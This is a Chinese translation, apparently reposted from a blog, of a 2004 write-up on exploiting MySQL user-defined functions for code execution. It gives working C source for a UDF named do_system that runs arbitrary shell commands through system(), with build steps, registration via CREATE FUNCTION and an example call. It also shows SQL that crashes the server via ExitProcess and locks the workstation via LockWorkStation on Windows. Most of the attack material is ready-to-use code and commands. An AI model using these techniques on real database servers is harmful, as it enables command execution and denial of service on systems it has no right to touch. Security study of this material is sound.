来源:http://hi.baidu.com/ylbhz
Linux平台下 MYSQL用户自定义函数(UDF)的利用
Chris Anley [[email protected]] 5th July 2004
根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数,简称udf
通过CREATE FUNCTION语句来实现这一机制,同时通过向’mysql.func’表录入信息来加载他们.
通常当MYSQL加载这些动态库时,该动态库文件路径必须能被MYSQL访问.
攻击者会滥用这一机制别有用心地创建一些“恶毒”的动态库文件并将它们通过SELECT … INTO OUTFILE语句写入可用的目录.当这些文件创建成功过后,攻击者通过insert向mysql.func表录入信息以配置MYSQL加载这些动态库文件和执行这些函数。
下面是一段相当简单的UDF链接库的代码 (请原谅他很简陋)(老外真有礼貌!):
#include <stdio.h>
#include <stdlib.h>
/*
compile with something like
gcc -g -c so_system.c
then
gcc -g -shared -W1,-soname,so_system.so.0 -o so_system.so.0.0 so_system.o -lc
*/
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args
{
unsigned int arg_count; /* Number of arguments */
enum Item_result *arg_type; /* Pointer to item_results */
char **args; /* Pointer to argument */
unsigned long *lengths; /* Length of string arguments */
char *maybe_null; /* Set to 1 for all maybe_null args */
Page 18
} UDF_ARGS;
typedef struct st_udf_init
{
char maybe_null; /* 1 if function can return NULL */
unsigned int decimals; /* for real functions */
unsigned long max_length; /* For string functions */
char *ptr; /* free pointer for function data */
char const_item; /* 0 if result is independent of arguments */
} UDF_INIT;
int do_system( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if( args->arg_count != 1 )
return 0;
system( args->args[0] );
return 0;
}
像这样添加函数:
mysql> create function do_system returns integer soname ‘so_system.so’;
Query OK, 0 rows affected (0.00 sec)
现在表mysql.func类似于这样,当然你也可以使用update来修改它。
mysql> select * from mysql.func;
+———–+—–+————–+———-+
| name | ret | dl | type |
+———–+—–+————–+———-+
| do_system | 2 | so_system.so | function |
+———–+—–+————–+———-+
1 row in set (0.00 sec)
调用函数:
mysql> select do_system(‘ls > /tmp/test.txt’);
+———————————+
| do_system(‘ls > /tmp/test.txt’) |
+———————————+
| -4665733612002344960 |
+———————————+
1 row in set (0.02 sec)
即便文件权限不允许我们在目标系统上建立自己的动态库文件,我们仍然有可能利用已经存在的函数来达成一些邪恶的意图。这给攻击者的困难是,函数的参数列表和MySQL UDF的函数原型不相符:
int xxx( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
。。。。。。尽管诡计多端的攻击者可能能够设计出通过调用系统已存在的动态库中可控制的弱点来执行任意代码,但仍然是困难的。
Page 19
当MySQL解析执行传递的参数时,仍然可能通过现存的动态库中的函数来做“坏”事的可能性。
举个例子来讲,通过在windows中将函数ExitProcess作为MYSQL UDF来进行调用, 这将立即导致退出,即使你在mysql中并没有shutdown的权限。
mysql> create function ExitProcess returns integer soname ‘kernel32′;
Query OK, 0 rows affected (0.17 sec)
mysql> select exitprocess();
ERROR 2013: Lost connection to MySQL server during query
你也能讲当前工作站的登录会话锁定(作用相当于ctrl + del alt):
mysql> create function LockWorkStation returns integer soname ‘user32′;
Query OK, 0 rows affected (0.00 sec)
mysql> select LockWorkStation();